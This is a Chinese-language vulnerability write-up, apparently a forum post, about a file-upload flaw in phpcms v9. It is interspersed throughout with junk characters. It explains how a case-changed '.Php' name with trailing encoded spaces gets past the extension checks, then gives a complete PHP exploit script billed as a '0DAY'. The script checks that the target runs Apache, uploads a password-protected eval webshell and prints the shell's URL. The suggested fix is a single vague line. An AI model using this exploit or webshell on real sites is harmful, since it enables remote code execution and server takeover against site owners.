漏洞类型: 文件上传导致任意代码执行: g8 [; n$ `! v7 P4 M) M9 L
; H( G) |; s# r% @* |简要描述:
+ M1 q" _0 m1 m1 C
! L8 f) `( |' M2 mphpcms v9 getshell (apache)
2 B* `; l2 r" x7 F- x8 W详细说明:, O2 m" d+ I8 w6 F% x$ _
5 p3 j' C* E8 @5 U1 m# S& B7 p
漏洞文件:phpcms\modules\attachment\attachments.php
2 l$ Y- X3 M( y+ r/ h0 O' M0 n7 y* d) _% W
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
. K1 M% y( Z/ e4 X1 i6 ?后缀检测:phpcms\modules\attachment\functions\global.func.php
: B5 r* U% v& {9 Z: B5 G. K, T6 ?
! _' `, ? u4 y7 s 3 B: J! C2 x+ Z- b/ Q9 U
+ F( A+ F' e% l6 j0 `function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } ; A o/ T) q' Q, [
0 y: A) S7 f+ I( ?3 ?8 Z3 G
关键函数: e* x2 f; U" T% @& b4 s6 y3 |
; B J3 N/ g' [$ x$ }. w
' M, I- e; u; W
% n, w4 p- n, F) ]function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ' n! K8 P6 h9 j+ T
& d2 N$ j9 s3 [7 D k. z4 S: ]
Fileext函数是对文件后缀名的提取。2 [+ C* G8 p1 ^$ V; H
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
?# u5 R7 b) K经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。4 l6 h& V, h: D% d& }
我们回到public function crop_upload() 函数中
' W# h( U. P/ ]if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
7 U {% U4 @( J* X; G在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
9 @- A+ X4 x5 M7 T( z' y这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
4 [6 f4 e0 E- o) G5 z8 K) q经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. j0 u: B/ |2 d5 O u# J最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。4 A9 D! R, f% ~! |: T
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
1 P- ]9 ~' I# u; v- B漏洞证明:
Q9 Y: i7 S g6 V8 j
9 H) I5 v7 H6 [5 pexp:& _* M# U# t6 M _! Z4 x7 C3 m
% _* ~$ G5 W6 C, [
<?php4 [, |& U3 | g, [* G; m
error_reporting(E_ERROR);2 X: i, C4 q% W- {/ {$ f8 K
set_time_limit(0);
: I; q# T3 p" Y, P `! l8 T$pass="ln";+ y$ f+ U- G+ M3 b- g& _: A3 F
print_r('
% |, [6 \ f- N+---------------------------------------------------------------------------+
0 n# `: _& W4 I: |+ oPHPCms V9 GETSHELL 0DAY
1 j& n, P# P6 Z) j2 M# mcode by L.N.& X9 M4 V, F Y* r" @2 W V6 o1 \
+ `4 V2 ~( |" f4 Y) R: o
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
% f+ D/ T$ _6 D/ w n9 `8 f/ n# C+---------------------------------------------------------------------------+7 @' m/ A1 b0 c: ^ i4 ^
');
8 P: ?, d+ ~: Q0 y; n( x7 P; Tif ($argc < 2) {( ?" o( o8 C' ] N5 z: b
print_r('
% ~7 a: r$ S" g; L0 Q3 d! G+---------------------------------------------------------------------------+
. N' ~# m* H( R" [) HUsage: php '.$argv[0].' url path1 [) H# W7 l) Q0 ?2 y' d e E C
4 _6 _$ W' R. m2 iExample:
% E8 y8 u' R- Y( S( E* [1.php '.$argv[0].' lanu.sinaapp.com9 J$ n. O; o4 Q: z- ]' v
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
! ]( W* x( k5 G1 Q% w6 \2 i+---------------------------------------------------------------------------+; P- Q7 D% e, J5 S! m2 n% M" n
');4 l, {7 y f5 k* `9 q. H1 R
exit;( @* r( \+ @) T- {' d1 J
}, R3 U7 x2 P6 d( \
' Z8 o* r/ _5 ]# X, m: D0 D- A# L
$url = $argv[1];
! K' [0 O4 r; y- ]* h- D5 n6 p/ v$path = $argv[2];
7 ~4 c7 A, g3 Y% R5 V$ ?7 c$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';2 j% o, ?$ `) {+ i- B z
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
! p, N# r5 `5 [: r+ xif($ret=Create_dir($url,$path))
3 @5 B& s$ l" P{
9 H5 {: J8 S4 v9 E- o0 H4 w//echo $ret;
% y) A v( J" m% R$pattern = "|Server:[^,]+?|U";6 N- M" R, v/ M& w$ T
preg_match_all($pattern, $ret, $matches);
# ^5 |6 G* r+ E+ k3 f% T* _if($matches[0][0])( k, B5 i# F' e S6 T
{8 I$ ~. R# d/ D/ U3 {
if(strpos($matches[0][0],'Apache') == false)
; \) G% G: I; |! {. p{
) o7 Y9 t: c1 H; p4 p* p, b2 Oecho "\n亲!此网站不是apache的网站。\n";exit;
+ {9 m ?6 J; J" C} Y X/ c2 ~1 E+ s
}
C/ R2 L" ~: E5 Q7 C; v$ret = GetShell($url,$phpshell,$path,$file);
* i% z# r& R+ ^4 A9 s& `$pattern = "|http:\/\/[^,]+?\.,?|U";
/ d' h d, P3 K1 N9 l' Opreg_match_all($pattern, $ret, $matches);; [% e; f3 L! o1 l- G3 k: G
if($matches[0][0])
9 Q: u% a3 H* O ^; ]{* |2 N' M" G) Z. @" L6 }$ _
echo "\n".'密码为: '.$pass."\n";
, b% M8 h4 v8 |+ |5 n- z# Xecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;! @7 f4 I9 ]( u* a% x! g& r
}, g* H% T; P5 D/ R* C* Q' n: j- p* a
else4 S$ G4 U8 @. U# O7 B
{5 {7 h' H; G# N6 S( z
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
1 A1 F. T" V, k# j& ?, Bpreg_match_all($pattern, $ret, $matches);
- k, a7 M9 N3 R3 _8 d% x" ?if($matches[0][0])# T% e, q! O1 m) c
{ ~" @+ {8 p% w; e- A- d8 J1 u2 s
echo "\n".'密码为: '.$pass."\n";
# S" R R6 s+ E; x6 w, I6 uecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
* I1 Z# W. N2 S}1 `( J, J+ r% g9 o
else9 Z. W9 o% o4 S5 r1 ?4 z! A
{1 W( u+ f, v. h6 A H
echo "\r\n没得到!\n";exit;
3 @, D! V; x3 H2 Z6 G. p}+ U/ J' y" L4 O# l) l
}7 E4 F) Y+ a7 F7 Y) B; M
}
0 v% r8 M, }, x
0 Z! z$ Y% l: E, @" dfunction GetShell($url,$shell,$path,$js)) W; V, I( `2 @
{% H; X! p# H2 E+ V
$content =$shell;
* l# C! Q8 k; q0 q5 O- y4 x$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";% ^% j {% e. D2 b7 n
$data .= "Host: ".$url."\r\n";; n2 U/ C L; H# p8 e
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";4 J- G& z4 r" ?: M
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";& e9 L' ?/ \. j+ \- N) s0 O0 k
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
: C6 C( f2 j9 m b$data .= "Connection: close\r\n";
. T: m2 ~9 W0 c/ y9 J: ]# I$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ ^6 Q6 V3 B$ @9 g# e- w
$data .= $content."\r\n";2 h6 K M" }6 h1 A+ L' N8 w. |6 r: s8 y
$ock=fsockopen($url,80);
6 n0 m: Z; F# q6 k0 iif (!$ock)7 a6 s" D9 ?1 u
{) w A# p# R% F4 S
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 ]7 T4 K- \9 H$ s}
! ?2 N' E3 V' F# `else
; d$ Q% _, `4 v, A" V# Y( w V: {{
4 X& @0 p! A5 Ofwrite($ock,$data);
/ G/ z( l3 C2 d( z6 U$resp = ''; R# a) t4 }0 `4 @
while (!feof($ock))
) n! K+ ~: m9 h7 L" I. n- J9 p{- F4 d5 K. u- K* Z- `1 s
$resp.=fread($ock, 1024);3 F9 F; b2 r2 b
}
1 H2 G* z: @" b* l' |4 Q! m0 }return $resp;
+ }; i, M. i) b" z2 T}, W% p6 _3 {4 A; f) u
}1 \3 _. D% [' K+ L O
2 p6 j% I3 s; w7 c8 A; m
function Create_dir($url,$path='')
: w S' o8 D6 M& G3 W5 {{
% h0 ?9 W8 ^, p0 s$content ='I love you';
/ }9 V" i; v+ e- t$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
% K1 j, t$ F, X% c' r/ ~$data .= "Host: ".$url."\r\n";
2 m/ }1 P E m( @6 x: M( `$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# P! Z+ K! y6 e# _, U
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";- O8 D z/ c8 @$ g- w: E6 p* f
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";$ g# H" ?6 }% K7 m8 ?8 q' Q% k% r
$data .= "Connection: close\r\n";! I$ [" A0 L) {! e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";3 u0 I/ w9 w0 {' I6 Y' R) l( u
$data .= $content."\r\n";3 y* }9 j& j$ \
$ock=fsockopen($url,80);
/ l" c) x( Q2 L+ ?7 l4 ?1 mif (!$ock)
) V V/ S' p6 C D{
; Y1 M( C% H/ D& d2 Uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
+ [! h: d3 e: H4 O- F}
; O/ c, J( d7 P9 a; z, vfwrite($ock,$data);, o) I9 f. ]& ]+ Q
$resp = '';
; p+ c: W( ~' Pwhile (!feof($ock))) M9 H! h" N; {6 B1 \# L# O! z# _* X
{+ d! F1 x+ x3 g `0 C) {. l _# \
$resp.=fread($ock, 1024);
. l9 D% x' J+ W0 `7 K. K' E& Z}
0 K8 \$ l% o( s% `return $resp;
9 F$ V' @: K- n6 j" p& O! i! @0 A}8 N* R) d" _4 K
?> 3 P. _& O) _% A' m" y
* W2 `- u4 Q, a3 H0 z- [
修复方案:1 K! H2 L; y ?/ }
4 i& c" Y& L, @ U过滤过滤再过滤& k7 a. n S! N6 C X
5 x6 g8 `1 B" I0 ~. A- [ |